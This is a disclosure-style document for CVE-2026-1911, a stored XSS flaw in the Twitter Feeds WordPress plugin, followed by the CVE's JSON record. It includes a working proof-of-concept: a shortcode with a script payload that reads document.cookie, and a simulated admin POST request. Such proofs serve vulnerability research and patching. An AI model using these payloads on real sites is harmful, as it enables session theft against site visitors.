CVE-2026-1911

<!-- PoC for CVE-2026-1911 Plugin: Twitter Feeds for WordPress Vulnerable Parameter: tweet_title --> <!-- Step 1: Log in as a Contributor user --> <!-- Step 2: Create a new Post or Page --> <!-- Step 3: Insert the following shortcode into the content editor --> [TwitterFeeds tweet_title='"><script>alert(document.cookie);</script>'] <!-- Step 4: Publish or Submit for review --> <!-- Step 5: View the post to trigger the XSS --> <!-- Alternative HTTP Request Simulation --> <!-- POST /wp-admin/post.php HTTP/1.1 Host: target-wordpress-site.com Content-Type: application/x-www-form-urlencoded Cookie: [wordpress_cookie] post_title=XSS+Test&content=%5BTwitterFeeds+tweet_title%3D%27%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%27%5D&action=editpost -->

{"cve": {"id": "CVE-2026-1911", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:56.433", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Twitter Feeds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tweet_title' parameter in the 'TwitterFeeds' shortcode in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Twitter Feeds para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'tweet_title' en el shortcode 'TwitterFeeds' en todas las versiones hasta la 1.0.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/twitter-feeds/tags/1.0.0/twitter-feeds.php#L490", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/twitter-feeds/trunk/twitter-feeds.php#L490", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cb725044-01c3-4c0c-b276-291f897f11e7?source=cve", "source": "[email protected]"}]}}